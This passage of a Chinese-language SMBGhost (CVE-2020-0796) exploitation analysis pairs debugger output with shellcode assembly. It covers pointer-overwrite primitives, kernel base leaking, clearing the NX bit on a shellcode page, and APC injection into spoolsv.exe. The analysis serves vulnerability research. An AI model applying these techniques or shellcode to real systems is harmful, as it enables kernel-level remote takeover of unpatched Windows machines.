//nt!IoSizeofWorkItem函數指針
kd> u poi(fffff80257d42210)
nt!IoSizeofWorkItem:
fffff802`52c7f7a0 b858000000 mov eax,58h
fffff802`52c7f7a5 c3 ret
3、利用任意地址寫將srvnet!imp_RtlCopyUnicodeString指針-8的地址寫入SRVNET_RECV結構偏移0x118處的HandlerFunctions,這樣系統會認為nt!RtlCopyUnicodeString指針是srv2!Srv2ReceiveHandler函數指針。
kd> dd 0xffffa50834ba42d8-58+118 //HandlerFunctions
ffffa508`34ba4398 3479cd18 ffffa508 2f4a6dc0 ffffa508
ffffa508`34ba43a8 34ae4170 ffffa508 34f2a040 ffffa508
kd> u poi(ffffa5083479cd18+8) //覆蓋前第二項為srv2!Srv2ReceiveHandler函數指針
srv2!Srv2ReceiveHandler:
fffff802`51cdc3b0 44894c2420 mov dword ptr [rsp+20h],r9d
fffff802`51cdc3b5 53 push rbx
fffff802`51cdc3b6 55 push rbp
fffff802`51cdc3b7 4154 push r12
fffff802`51cdc3b9 4155 push r13
fffff802`51cdc3bb 4157 push r15
fffff802`51cdc3bd 4883ec70 sub rsp,70h
fffff802`51cdc3c1 488b8424d8000000 mov rax,qword ptr [rsp+0D8h]
kd> g
copy: ffffa508`34ba4398 ffffa508`3479cd18 ffffa508`2f4a6dc0
srv2!Srv2DecompressData+0x108:
fffff802`51ce7f68 e85376ffff call srv2!memcpy (fffff802`51cdf5c0)
kd> p
srv2!Srv2DecompressData+0x10d:
fffff802`51ce7f6d 8b442460 mov eax,dword ptr [rsp+60h]
kd> dq ffffa508`34ba4398
ffffa508`34ba4398 fffff802`57d42280 ffffa508`2f4a6dc0
ffffa508`34ba43a8 ffffa508`34ae4170 ffffa508`34f2a040
kd> u poi(fffff802`57d42280+8) //覆蓋前第二項為nt!RtlCopyUnicodeString函數指針
nt!RtlCopyUnicodeString:
fffff802`52d1c170 4057 push rdi
fffff802`52d1c172 4883ec20 sub rsp,20h
fffff802`52d1c176 488bc2 mov rax,rdx
fffff802`52d1c179 488bf9 mov rdi,rcx
fffff802`52d1c17c 4885d2 test rdx,rdx
fffff802`52d1c17f 745b je nt!RtlCopyUnicodeString+0x6c (fffff802`52d1c1dc)
fffff802`52d1c181 440fb700 movzx r8d,word ptr [rax]
fffff802`52d1c185 0fb74102 movzx eax,word ptr [rcx+2]
4、利用任意地址寫分別將兩個參數寫入SRVNET_RECT結構的偏移0x128和0x130處,為HandlerFunctions中函數的前兩個參數。
kd> dd 0xffffa50834ba42d8-58+118
ffffa508`34ba4398 57d42280 fffff802 2f4a6dc0 ffffa508
ffffa508`34ba43a8 36241650 ffffa508 36241660 ffffa508
5、向原始連接發送請求,等待srv2!Srv2ReceiveHandler函數(nt!RtlCopyUnicodeString函數)被調用,函數執行后,nt!IoSizeofWorkItem函數的低6個字節成功被復制到目標地址。
kd> dq ffffa508`36241670
ffffa508`36241670 0000f802`52c7f7a0 00000000`00000000
ffffa508`36241680 00000000`00000000 00000000`00000000
ffffa508`36241690 00000000`00000000 00000000`00000000
kd> u fffff802`52c7f7a0
nt!IoSizeofWorkItem:
fffff802`52c7f7a0 b858000000 mov eax,58h
fffff802`52c7f7a5 c3 ret
6、然后利用之前的方式將這6個字節依次泄露出來,加上0xffff000000000000,減去IoSizeofWorkItem函數在模塊中的偏移得到ntoskrnl基址。
Shellcode復制&&執行
1、獲取PTE基址 利用任意地址讀讀取nt!MiGetPteAddress函數偏移0x13處的地址,低6位即可。然后加上0xffff000000000000得到PTE基址為0xFFFFF10000000000(0xfffff80252d03d39處第二個操作數)。
kd> u nt!MiGetPteAddress
nt!MiGetPteAddress:
fffff802`52d03d28 48c1e909 shr rcx,9
fffff802`52d03d2c 48b8f8ffffff7f000000 mov rax,7FFFFFFFF8h
fffff802`52d03d36 4823c8 and rcx,rax
fffff802`52d03d39 48b80000000000f1ffff mov rax,0FFFFF10000000000h
fffff802`52d03d43 4803c1 add rax,rcx
fffff802`52d03d46 c3 ret
d> db nt!MiGetPteAddress + 13 l8
fffff802`52d03d3b 00 00 00 00 00 f1 ff ff ........
2、利用任意地址寫將Shellcode復制到0xFFFFF78000000800處,在后續章節會對Shellcode進行進一步分析。
kd> u 0xFFFFF78000000800
fffff780`00000800 55 push rbp
fffff780`00000801 e807000000 call fffff780`0000080d
fffff780`00000806 e819000000 call fffff780`00000824
fffff780`0000080b 5d pop rbp
fffff780`0000080c c3 ret
fffff780`0000080d 488d2d00100000 lea rbp,[fffff780`00001814]
fffff780`00000814 48c1ed0c shr rbp,0Ch
fffff780`00000818 48c1e50c shl rbp,0Ch
3、計算Shellcode的PTE,依然采用nt!MiGetPteAddress函數中的計算公式。((0xFFFFF78000000800 >> 9 ) & 0x7FFFFFFFF8) + 0xFFFFF10000000000 = 0xFFFFF17BC0000000。然后取出Shellcode PTE偏移7處的字節并和0x7F相與之后放回原處,去除NX標志位。
kd> db fffff17b`c0000000 //去NX標志前
fffff17b`c0000000 63 39 fb 00 00 00 00 80-00 00 00 00 00 00 00 00 c9..............
fffff17b`c0000010 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
kd> dt _MMPTE_HARDWARE fffff17b`c0000000
nt!_MMPTE_HARDWARE
+0x000 Valid : 0y1
+0x000 Dirty1 : 0y1
+0x000 Owner : 0y0
+0x000 WriteThrough : 0y0
+0x000 CacheDisable : 0y0
+0x000 Accessed : 0y1
+0x000 Dirty : 0y1
+0x000 LargePage : 0y0
+0x000 Global : 0y1
+0x000 CopyOnWrite : 0y0
+0x000 Unused : 0y0
+0x000 Write : 0y1
+0x000 PageFrameNumber : 0y000000000000000000000000111110110011 (0xfb3)
+0x000 ReservedForHardware : 0y0000
+0x000 ReservedForSoftware : 0y0000
+0x000 WsleAge : 0y0000
+0x000 WsleProtection : 0y000
+0x000 NoExecute : 0y1
kd> db fffff17b`c0000000 //去NX標志后
fffff17b`c0000000 63 39 fb 00 00 00 00 00-00 00 00 00 00 00 00 00 c9..............
fffff17b`c0000010 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
kd> dt _MMPTE_HARDWARE fffff17b`c0000000
nt!_MMPTE_HARDWARE
+0x000 Valid : 0y1
+0x000 Dirty1 : 0y1
+0x000 Owner : 0y0
+0x000 WriteThrough : 0y0
+0x000 CacheDisable : 0y0
+0x000 Accessed : 0y1
+0x000 Dirty : 0y1
+0x000 LargePage : 0y0
+0x000 Global : 0y1
+0x000 CopyOnWrite : 0y0
+0x000 Unused : 0y0
+0x000 Write : 0y1
+0x000 PageFrameNumber : 0y000000000000000000000000111110110011 (0xfb3)
+0x000 ReservedForHardware : 0y0000
+0x000 ReservedForSoftware : 0y0000
+0x000 WsleAge : 0y0000
+0x000 WsleProtection : 0y000
+0x000 NoExecute : 0y0
4、利用任意地址寫將Shellcode地址(0xFFFFF78000000800)放入可控地址,然后采用已知函數調用的方法用指向Shellcode指針的可控地址減8的值覆寫HandlerFunctions。使得HandlerFunctions中的srv2!Srv2ReceiveHandler函數指針被覆蓋為Shellcode地址。然后向該連接發包,等待Shellcode被調用。另外,由于ntoskrnl基址已經被泄露出來,可以將其作為參數傳給Shellcode,在Shellcode中就不需要獲取ntoskrnl基址了。
kd> dq ffffa508`34ba42d8-58+118 l1
ffffa508`34ba4398 ffffa508`36241648
kd> u poi(ffffa508`36241648+8)
fffff780`00000800 55 push rbp
fffff780`00000801 e807000000 call fffff780`0000080d
fffff780`00000806 e819000000 call fffff780`00000824
fffff780`0000080b 5d pop rbp
fffff780`0000080c c3 ret
fffff780`0000080d 488d2d00100000 lea rbp,[fffff780`00001814]
fffff780`00000814 48c1ed0c shr rbp,0Ch
fffff780`00000818 48c1e50c shl rbp,0Ch
kd> dq ffffa508`34ba42d8-58+128 l1
ffffa508`34ba43a8 fffff802`52c12000
kd> lmm nt
Browse full module list
start end module name
fffff802`52c12000 fffff802`536c9000 nt (pdb symbols) C:\ProgramData\Dbg\sym\ntkrnlmp.pdb\5A8A70EAE29939EFA17C9FC879FA0D901\ntkrnlmp.pdb
kd> g
Breakpoint 0 hit
fffff780`00000800 55 push rbp
kd> r rcx //ntoskrnl基址
rcx=fffff80252c12000
Shellcode分析
本分析參考以下鏈接:https://github.com/ZecOps/CVE-2020-0796-RCE-POC/blob/master/smbghost_kshellcode_x64.asm
尋找ntoskrnl.exe基址
獲取內核模塊基址在漏洞利用中是很關鍵的事情,在后面會用到它的很多導出函數。這里列出常見的一種獲取ntoskrnl.exe基址的思路: 通過KPCR找到IdtBase,然后根據IdtBase尋找中斷0的ISR入口點,該入口點屬于ntoskrnl.exe模塊,所以可以在找到該地址后向前搜索找到ntoskrnl.exe模塊基址。 在64位系統中,GS段寄存器在內核態會指向KPCR,KPCR偏移0x38處為IdtBase:
3: kd> rdmsr 0xC0000101
msr[c0000101] = ffffdc81`fe1c1000
3: kd> dt _kpcr ffffdc81`fe1c1000
nt!_KPCR
+0x000 NtTib : _NT_TIB
+0x000 GdtBase : 0xffffdc81`fe1d6fb0 _KGDTENTRY64
+0x008 TssBase : 0xffffdc81`fe1d5000 _KTSS64
+0x010 UserRsp : 0x10ff588
+0x018 Self : 0xffffdc81`fe1c1000 _KPCR
+0x020 CurrentPrcb : 0xffffdc81`fe1c1180 _KPRCB
+0x028 LockArray : 0xffffdc81`fe1c1870 _KSPIN_LOCK_QUEUE
+0x030 Used_Self : 0x00000000`00e11000 Void
+0x038 IdtBase : 0xffffdc81`fe1d4000 _KIDTENTRY64
......
+0x180 Prcb : _KPRCB
ISR入口點在_KIDTENTRY64結構體中被分成三部分:OffsetLow、OffsetMiddle 以及 OffsetHigh。其計算公式為:( OffsetHigh << 32 ) | ( OffsetMiddle << 16 ) | OffsetLow ,如下所示,本次調試的入口地址實際上是0xfffff8004f673d00,該地址位于ntoskrnl.exe模塊。
3: kd> dx -id 0,0,ffff818c6286f040 -r1 ((ntkrnlmp!_KIDTENTRY64 *)0xffffdc81fe1d4000)
((ntkrnlmp!_KIDTENTRY64 *)0xffffdc81fe1d4000) : 0xffffdc81fe1d4000 [Type: _KIDTENTRY64 *]
[+0x000] OffsetLow : 0x3d00 [Type: unsigned short]
[+0x002] Selector : 0x10 [Type: unsigned short]
[+0x004 ( 2: 0)] IstIndex : 0x0 [Type: unsigned short]
[+0x004 ( 7: 3)] Reserved0 : 0x0 [Type: unsigned short]
[+0x004 (12: 8)] Type : 0xe [Type: unsigned short]
[+0x004 (14:13)] Dpl : 0x0 [Type: unsigned short]
[+0x004 (15:15)] Present : 0x1 [Type: unsigned short]
[+0x006] OffsetMiddle : 0x4f67 [Type: unsigned short]
[+0x008] OffsetHigh : 0xfffff800 [Type: unsigned long]
[+0x00c] Reserved1 : 0x0 [Type: unsigned long]
[+0x000] Alignment : 0x4f678e0000103d00 [Type: unsigned __int64]
3: kd> u 0xfffff8004f673d00
nt!KiDivideErrorFault:
fffff800`4f673d00 4883ec08 sub rsp,8
fffff800`4f673d04 55 push rbp
fffff800`4f673d05 4881ec58010000 sub rsp,158h
fffff800`4f673d0c 488dac2480000000 lea rbp,[rsp+80h]
fffff800`4f673d14 c645ab01 mov byte ptr [rbp-55h],1
fffff800`4f673d18 488945b0 mov qword ptr [rbp-50h],rax
可直接取IdtBase偏移4處的QWORD值,與0xfffffffffffff000相與,然后進行頁對齊向前搜索,直到匹配到魔值"\x4D\x5A"(MZ),此時就得到了ntoskrnl.exe基址。有了ntoskrnl.exe模塊的基址,就可以通過遍歷導出表獲取相關函數的地址。
3: kd> dq 0xffffdc81`fe1d4000+4 l1
ffffdc81`fe1d4004 fffff800`4f678e00
3: kd> lmm nt
Browse full module list
start end module name
fffff800`4f4a7000 fffff800`4ff5e000 nt (pdb symbols) C:\ProgramData\Dbg\sym\ntkrnlmp.pdb\5A8A70EAE29939EFA17C9FC879FA0D901\ntkrnlmp.pdb
3: kd> db fffff800`4f4a7000
fffff800`4f4a7000 4d 5a 90 00 03 00 00 00-04 00 00 00 ff ff 00 00 MZ..............
fffff800`4f4a7010 b8 00 00 00 00 00 00 00-40 00 00 00 00 00 00 00 ........@.......
fffff800`4f4a7020 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
fffff800`4f4a7030 00 00 00 00 00 00 00 00-00 00 00 00 08 01 00 00 ................
fffff800`4f4a7040 0e 1f ba 0e 00 b4 09 cd-21 b8 01 4c cd 21 54 68 ........!..L.!Th
fffff800`4f4a7050 69 73 20 70 72 6f 67 72-61 6d 20 63 61 6e 6e 6f is program canno
fffff800`4f4a7060 74 20 62 65 20 72 75 6e-20 69 6e 20 44 4f 53 20 t be run in DOS
fffff800`4f4a7070 6d 6f 64 65 2e 0d 0d 0a-24 00 00 00 00 00 00 00 mode....$.......
獲取目標KTHREAD結構
在x64系統上(調試環境),KPCR偏移0x180處為KPRCB結構,KPRCB結構偏移8處為_KTHREAD結構的CurrentThread。_KTHREAD結構偏移0x220處為 _KPROCESS結構。KPROCESS結構為EPROCESS的第一項,EPROCESS結構偏移0x488為_LIST_ENTRY結構的ThreadListHead。
3: kd> dt nt!_kpcr ffffdc81`fe1c1000
nt!_KPCR
+0x000 NtTib : _NT_TIB
+0x000 GdtBase : 0xffffdc81`fe1d6fb0 _KGDTENTRY64
+0x008 TssBase : 0xffffdc81`fe1d5000 _KTSS64
+0x010 UserRsp : 0x10ff588
+0x018 Self : 0xffffdc81`fe1c1000 _KPCR
+0x020 CurrentPrcb : 0xffffdc81`fe1c1180 _KPRCB
+0x028 LockArray : 0xffffdc81`fe1c1870 _KSPIN_LOCK_QUEUE
+0x030 Used_Self : 0x00000000`00e11000 Void
+0x038 IdtBase : 0xffffdc81`fe1d4000 _KIDTENTRY64
......
+0x180 Prcb : _KPRCB
3: kd> dx -id 0,0,ffff818c6286f040 -r1 (*((ntkrnlmp!_KPRCB *)0xffffdc81fe1c1180))
(*((ntkrnlmp!_KPRCB *)0xffffdc81fe1c1180)) [Type: _KPRCB]
[+0x000] MxCsr : 0x1f80 [Type: unsigned long]
[+0x004] LegacyNumber : 0x3 [Type: unsigned char]
[+0x005] ReservedMustBeZero : 0x0 [Type: unsigned char]
[+0x006] InterruptRequest : 0x0 [Type: unsigned char]
[+0x007] IdleHalt : 0x1 [Type: unsigned char]
[+0x008] CurrentThread : 0xffffdc81fe1d2140 [Type: _KTHREAD *]
3: kd> dx -id 0,0,ffff818c6286f040 -r1 ((ntkrnlmp!_KTHREAD *)0xffffdc81fe1d2140)
((ntkrnlmp!_KTHREAD *)0xffffdc81fe1d2140) : 0xffffdc81fe1d2140 [Type: _KTHREAD *]
[+0x000] Header [Type: _DISPATCHER_HEADER]
[+0x018] SListFaultAddress : 0x0 [Type: void *]
[+0x020] QuantumTarget : 0x791ddc0 [Type: unsigned __int64]
[+0x028] InitialStack : 0xfffff6074c645c90 [Type: void *]
[+0x030] StackLimit : 0xfffff6074c640000 [Type: void *]
[+0x038] StackBase : 0xfffff6074c646000 [Type: void *]
......
[+0x220] Process : 0xfffff8004fa359c0 [Type: _KPROCESS *]
3: kd> dt _eprocess 0xfffff8004fa359c0
nt!_EPROCESS
+0x000 Pcb : _KPROCESS
+0x2e0 ProcessLock : _EX_PUSH_LOCK
+0x2e8 UniqueProcessId : (null)
+0x2f0 ActiveProcessLinks : _LIST_ENTRY [ 0x00000000`00000000 - 0x00000000`00000000 ]
......
+0x450 ImageFileName : [15] "Idle"
......
+0x488 ThreadListHead : _LIST_ENTRY [ 0xfffff800`4fa38ab8 - 0xffffdc81`fe1d27f8 ]
-
nt!PsGetProcessImageFileName 通過此函數得到ImageFileName在EPROCESS中的偏移(0x450),然后通過一些判斷和計算獲得ThreadListHead在EPROCESS中的偏移(調試環境為0x488)。
-
nt!IoThreadToProcess 從KTHREAD結構中得到KPROCESS(EPROCESS)結構體的地址(偏移0x220處)。然后通過之前計算出的偏移獲取ThreadListHead結構,通過訪問ThreadListHead結構獲取ThreadListEntry(位于ETHREAD),遍歷ThreadListEntry以計算KTHREAD(ETHREAD)相對于ThreadListEntry的偏移,自適應相關吧。
kd> u rip
nt!IoThreadToProcess:
fffff805`39a79360 488b8120020000 mov rax,qword ptr [rcx+220h]
fffff805`39a79367 c3 ret
kd> g
Breakpoint 0 hit
fffff780`0000091d 4d29ce sub r14,r9
kd> ub rip
fffff780`00000900 4d89c1 mov r9,r8
fffff780`00000903 4d8b09 mov r9,qword ptr [r9]
fffff780`00000906 4d39c8 cmp r8,r9
fffff780`00000909 0f84e4000000 je fffff780`000009f3
fffff780`0000090f 4c89c8 mov rax,r9
fffff780`00000912 4c29f0 sub rax,r14
fffff780`00000915 483d00070000 cmp rax,700h
fffff780`0000091b 77e6 ja fffff780`00000903
kd> dt _ethread @r14 -y ThreadListEntry
nt!_ETHREAD
+0x6b8 ThreadListEntry : _LIST_ENTRY [ 0xffffca8d`1382f6f8 - 0xffffca8d`1a0d36f8 ]
kd> dq r9 l1
ffffca8d`1a0d2738 ffffca8d`1382f6f8
kd> ? @r9-@r14
Evaluate expression: 1720 = 00000000`000006b8
- nt!PsGetCurrentProcess 通過nt!PsGetCurrentProcess獲取當前線程所在進程的指針 (KPROCESS / EPRROCESS 地址),該指針存放在KTHREAD偏移0xB8處:通過KTHREAD偏移0x98訪問ApcState;然后通過ApcState(KAPC_STATE結構)偏移0x20訪問EPROCESS(KPROCESS)。
kd> u rax
nt!PsGetCurrentProcess:
fffff800`4f5a9ca0 65488b042588010000 mov rax,qword ptr gs:[188h]
fffff800`4f5a9ca9 488b80b8000000 mov rax,qword ptr [rax+0B8h]
fffff800`4f5a9cb0 c3 ret
kd> dt _kthread @rax
nt!_KTHREAD
+0x000 Header : _DISPATCHER_HEADER
......
+0x098 ApcState : _KAPC_STATE
kd> dx -id 0,0,ffffca8d10ea3340 -r1 (*((ntkrnlmp!_KAPC_STATE *)0xffffca8d1a0d2118))
(*((ntkrnlmp!_KAPC_STATE *)0xffffca8d1a0d2118)) [Type: _KAPC_STATE]
[+0x000] ApcListHead [Type: _LIST_ENTRY [2]]
[+0x020] Process : 0xffffca8d10ea3340 [Type: _KPROCESS *]
[+0x028] InProgressFlags : 0x0 [Type: unsigned char]
- nt!PsGetProcessId 通過nt!PsGetProcessId函數得到UniqueProcessId在EPROCESS結構中的偏移(0x2e8),然后通過加8定位到ActiveProcessLinks。通過遍歷ActiveProcessLinks來訪問不同進程的EPROCESS結構,通過比較EPROCESS中ImageFileName的散列值來尋找目標進程("spoolsv.exe")。
kd> g
Breakpoint 1 hit
fffff780`0000096e bf48b818b8 mov edi,0B818B848h
kd> dt _EPROCESS @rcx
nt!_EPROCESS
+0x000 Pcb : _KPROCESS
+0x2e0 ProcessLock : _EX_PUSH_LOCK
+0x2e8 UniqueProcessId : 0x00000000`0000074c Void
+0x2f0 ActiveProcessLinks : _LIST_ENTRY [ 0xffffca8d`179455f0 - 0xffffca8d`13fa15f0 ]
......
+0x450 ImageFileName : [15] "spoolsv.exe"
- nt!PsGetProcessPeb && nt!PsGetThreadTeb 然后通過調用nt!PsGetProcessPeb,獲取"spoolsv.exe"的PEB結構(偏移0x3f8處)并保存起來,然后通過ThreadListHead遍歷ThreadListEntry,以尋找一個Queue不為0的KTHREAD(可通過nt!PsGetThreadTeb函數獲取TEB結構在KTHREAD結構中的偏移,然后減8得到Queue)。
kd> dt _EPROCESS @rcx
nt!_EPROCESS
+0x000 Pcb : _KPROCESS
+0x2e0 ProcessLock : _EX_PUSH_LOCK
+0x2e8 UniqueProcessId : 0x00000000`0000074c Void
+0x2f0 ActiveProcessLinks : _LIST_ENTRY [ 0xffffca8d`179455f0 - 0xffffca8d`13fa15f0 ]
......
+0x3f8 Peb : 0x00000000`00360000 _PEB
......
+0x488 ThreadListHead : _LIST_ENTRY [ 0xffffca8d`18313738 - 0xffffca8d`178e9738 ]
kd> dt _kTHREAD @rdx
nt!_KTHREAD
+0x000 Header : _DISPATCHER_HEADER
+0x018 SListFaultAddress : (null)
+0x020 QuantumTarget : 0x3b5dc10
+0x028 InitialStack : 0xfffffe80`76556c90 Void
+0x030 StackLimit : 0xfffffe80`76551000 Void
+0x038 StackBase : 0xfffffe80`76557000 Void
......
+0x0e8 Queue : 0xffffca8d`1307d180 _DISPATCHER_HEADER
+0x0f0 Teb : 0x00000000`00387000 Void
kd> r rdx //目標KTHREAD
rdx=ffffca8d178e9080
kd> dt _ETHREAD @rdx //感覺這個沒啥用,先留著
nt!_ETHREAD
+0x000 Tcb : _KTHREAD
......
+0x6b8 ThreadListEntry : _LIST_ENTRY [ 0xffffca8d`18cbe6c8 - 0xffffca8d`16d2e738 ]
向目標線程插入APC對象
- nt!KeInitializeApc 通過調用nt!KeInitializeApc函數來初始化APC對象(KAPC類型)。如下所示,第一個參數指明了待初始化的APC對象,第二個參數關聯上面的kTHREAD結構,第四個參數為KernelApcRoutine函數指針,第七個參數指明了UserMode:
; KeInitializeApc(PKAPC, //0xfffff78000000e30
; PKTHREAD, //0xffffca8d178e9080
; KAPC_ENVIRONMENT = OriginalApcEnvironment (0),
; PKKERNEL_ROUTINE = kernel_apc_routine, //0xfffff78000000a62
; PKRUNDOWN_ROUTINE = NULL,
; PKNORMAL_ROUTINE = userland_shellcode, ;fffff780`00000e00
; KPROCESSOR_MODE = UserMode (1),
; PVOID Context); ;fffff780`00000e00
lea rcx, [rbp+DATA_KAPC_OFFSET] ; PAKC
xor r8, r8 ; OriginalApcEnvironment
lea r9, [rel kernel_kapc_routine] ; KernelApcRoutine
push rbp ; context
push 1 ; UserMode
push rbp ; userland shellcode (MUST NOT be NULL)
push r8 ; NULL
sub rsp, 0x20 ; shadow stack
mov edi, KEINITIALIZEAPC_HASH
call win_api_direct
//初始化后的KAPC結構
kd> dt _kapc fffff78000000e30
nt!_KAPC
+0x000 Type : 0x12 ''
+0x001 SpareByte0 : 0 ''
+0x002 Size : 0x58 'X'
+0x003 SpareByte1 : 0 ''
+0x004 SpareLong0 : 0
+0x008 Thread : 0xffffca8d`178e9080 _KTHREAD
+0x010 ApcListEntry : _LIST_ENTRY [ 0x00000000`00000000 - 0x00000000`00000000 ]
+0x020 KernelRoutine : 0xfffff780`00000a62 void +fffff78000000a62
+0x028 RundownRoutine : (null)
+0x030 NormalRoutine : 0xfffff780`00000e00 void +fffff78000000e00
+0x020 Reserved : [3] 0xfffff780`00000a62 Void
+0x038 NormalContext : 0xfffff780`00000e00 Void
+0x040 SystemArgument1 : (null)
+0x048 SystemArgument2 : (null)
+0x050 ApcStateIndex : 0 ''
+0x051 ApcMode : 1 ''
+0x052 Inserted : 0 ''
kd> u 0xfffff780`00000a62 //KernelRoutine
fffff780`00000a62 55 push rbp
fffff780`00000a63 53 push rbx
fffff780`00000a64 57 push rdi
fffff780`00000a65 56 push rsi
fffff780`00000a66 4157 push r15
fffff780`00000a68 498b28 mov rbp,qword ptr [r8]
fffff780`00000a6b 4c8b7d08 mov r15,qword ptr [rbp+8]
fffff780`00000a6f 52 push rdx
- nt!KeInsertQueueApc 然后通過nt!KeInsertQueueApc函數將初始化后的APC對象存放到目標線程的APC隊列中。
; BOOLEAN KeInsertQueueApc(PKAPC, SystemArgument1, SystemArgument2, 0);
; SystemArgument1 is second argument in usermode code (rdx)
; SystemArgument2 is third argument in usermode code (r8)
lea rcx, [rbp+DATA_KAPC_OFFSET]
;xor edx, edx ; no need to set it here
;xor r8, r8 ; no need to set it here
xor r9, r9
mov edi, KEINSERTQUEUEAPC_HASH
call win_api_direct
kd> dt _kapc fffff78000000e30
nt!_KAPC
+0x000 Type : 0x12 ''
+0x001 SpareByte0 : 0 ''
+0x002 Size : 0x58 'X'
+0x003 SpareByte1 : 0 ''
+0x004 SpareLong0 : 0
+0x008 Thread : 0xffffca8d`178e9080 _KTHREAD
+0x010 ApcListEntry : _LIST_ENTRY [ 0xffffca8d`178e9128 - 0xffffca8d`178e9128 ]
+0x020 KernelRoutine : 0xfffff780`00000a62 void +fffff78000000a62
+0x028 RundownRoutine : (null)
+0x030 NormalRoutine : 0xfffff780`00000e00 void +fffff78000000e00
+0x020 Reserved : [3] 0xfffff780`00000a62 Void
+0x038 NormalContext : 0xfffff780`00000e00 Void
+0x040 SystemArgument1 : 0x0000087f`fffff200 Void
+0x048 SystemArgument2 : (null)
+0x050 ApcStateIndex : 0 ''
+0x051 ApcMode : 1 ''
+0x052 Inserted : 0x1 ''
然后判斷KAPC.ApcListEntry中UserApcPending比特位是否被設置,如果成功,就等待目標線程獲得權限,執行APC例程,執行KernelApcRoutine函數。
mov rax, [rbp+DATA_KAPC_OFFSET+0x10] ; get KAPC.ApcListEntry
; EPROCESS pointer 8 bytes
; InProgressFlags 1 byte
; KernelApcPending 1 byte
; * Since Win10 R5:
; Bit 0: SpecialUserApcPending
; Bit 1: UserApcPending
; if success, UserApcPending MUST be 1
test byte [rax+0x1a], 2
jnz _insert_queue_apc_done
kd> p
fffff780`000009e7 f6401a02 test byte ptr [rax+1Ah],2
kd> dt _kapc fffff78000000e30
nt!_KAPC
+0x000 Type : 0x12 ''
+0x001 SpareByte0 : 0 ''
+0x002 Size : 0x58 'X'
+0x003 SpareByte1 : 0 ''
+0x004 SpareLong0 : 0
+0x008 Thread : 0xffffca8d`178e9080 _KTHREAD
+0x010 ApcListEntry : _LIST_ENTRY [ 0xffffca8d`178e9128 - 0xffffca8d`178e9128 ]
kd> dx -id 0,0,ffffca8d10ea3340 -r1 (*((ntkrnlmp!_LIST_ENTRY *)0xfffff78000000e40))
(*((ntkrnlmp!_LIST_ENTRY *)0xfffff78000000e40)) [Type: _LIST_ENTRY]
[+0x000] Flink : 0xffffca8d178e9128 [Type: _LIST_ENTRY *]
[+0x008] Blink : 0xffffca8d178e9128 [Type: _LIST_ENTRY *]
kd> db rax l1a+1
ffffca8d`178e9128 40 0e 00 00 80 f7 ff ff-40 0e 00 00 80 f7 ff ff @.......@.......
ffffca8d`178e9138 40 e2 cb 18 8d ca ff ff-00 00 02 @..........
KernelApcRoutine函數
在這個函數里先將IRQL設置為PASSIVE_LEVEL(通過在KernelApcRoutine中將cr8置0),以便調用ZwAllocateVirtualMemory函數。 + 申請空間并復制用戶態Shellcode 調用ZwAllocateVirtualMemory(-1, &baseAddr, 0, &0x1000, 0x1000, 0x40)分配內存,然后將用戶態Shellcode復制過去。如下所示,分配到的地址為bc0000。
kd> dd rdx l1
fffffe80`766458d0 00000000
kd> dd fffffe80`766458d0 l1 //baseAddr
fffffe80`766458d0 00bc0000
kd> u rip //將用戶模式代碼復制到bc0000處:
fffff780`00000aa5 488b3e mov rdi,qword ptr [rsi]
fffff780`00000aa8 488d354d000000 lea rsi,[fffff780`00000afc]
fffff780`00000aaf b980030000 mov ecx,380h
fffff780`00000ab4 f3a4 rep movs byte ptr [rdi],byte ptr [rsi]
kd> u bc0000
00000000`00bc0000 4892 xchg rax,rdx
00000000`00bc0002 31c9 xor ecx,ecx
00000000`00bc0004 51 push rcx
00000000`00bc0005 51 push rcx
00000000`00bc0006 4989c9 mov r9,rcx
00000000`00bc0009 4c8d050d000000 lea r8,[00000000`00bc001d]
00000000`00bc0010 89ca mov edx,ecx
00000000`00bc0012 4883ec20 sub rsp,20h
- 查找kernel32模塊 思路是通過遍歷之前找到的"spoolsv.exe"的PEB結構中的Ldr->InMemoryOrderModuleList->Flink,找到kernel32模塊(unicode字符串特征比對)。 PEB偏移0x18為_PEB_LDR_DATA結構的Ldr ,其偏移0x20處為一個_LIST_ENTRY結構的InMemoryOrderModuleList,_LIST_ENTRY結構中包含flink和blink指針,通過遍歷flink指針可以查詢不同模塊的LDR_DATA_TABLE_ENTRY結構。
1: kd> dt _peb @rax
nt!_PEB
+0x000 InheritedAddressSpace : 0 ''
+0x001 ReadImageFileExecOptions : 0 ''
+0x002 BeingDebugged : 0 ''
+0x003 BitField : 0x4 ''
+0x003 ImageUsesLargePages : 0y0
+0x003 IsProtectedProcess : 0y0
+0x003 IsImageDynamicallyRelocated : 0y1
+0x003 SkipPatchingUser32Forwarders : 0y0
+0x003 IsPackagedProcess : 0y0
+0x003 IsAppContainer : 0y0
+0x003 IsProtectedProcessLight : 0y0
+0x003 IsLongPathAwareProcess : 0y0
+0x004 Padding0 : [4] ""
+0x008 Mutant : 0xffffffff`ffffffff Void
+0x010 ImageBaseAddress : 0x00007ff7`94970000 Void
+0x018 Ldr : 0x00007fff`ea7a53c0 _PEB_LDR_DATA
+0x020 ProcessParameters : 0x00000000`012c1bc0 _RTL_USER_PROCESS_PARAMETERS
+0x028 SubSystemData : (null)
+0x030 ProcessHeap : 0x00000000`012c0000 Void
......
1: kd> dx -id 0,0,ffff818c698db380 -r1 ((ntkrnlmp!_PEB_LDR_DATA *)0x7fffea7a53c0)
((ntkrnlmp!_PEB_LDR_DATA *)0x7fffea7a53c0) : 0x7fffea7a53c0 [Type: _PEB_LDR_DATA *]
[+0x000] Length : 0x58 [Type: unsigned long]
[+0x004] Initialized : 0x1 [Type: unsigned char]
[+0x008] SsHandle : 0x0 [Type: void *]
[+0x010] InLoadOrderModuleList [Type: _LIST_ENTRY]
[+0x020] InMemoryOrderModuleList [Type: _LIST_ENTRY]
[+0x030] InInitializationOrderModuleList [Type: _LIST_ENTRY]
[+0x040] EntryInProgress : 0x0 [Type: void *]
[+0x048] ShutdownInProgress : 0x0 [Type: unsigned char]
[+0x050] ShutdownThreadId : 0x0 [Type: void *]
1: kd> dx -id 0,0,ffff818c698db380 -r1 (*((ntkrnlmp!_LIST_ENTRY *)0x7fffea7a53e0))
(*((ntkrnlmp!_LIST_ENTRY *)0x7fffea7a53e0)) [Type: _LIST_ENTRY]
[+0x000] Flink : 0x12c2580 [Type: _LIST_ENTRY *]
[+0x008] Blink : 0x1363920 [Type: _LIST_ENTRY *]
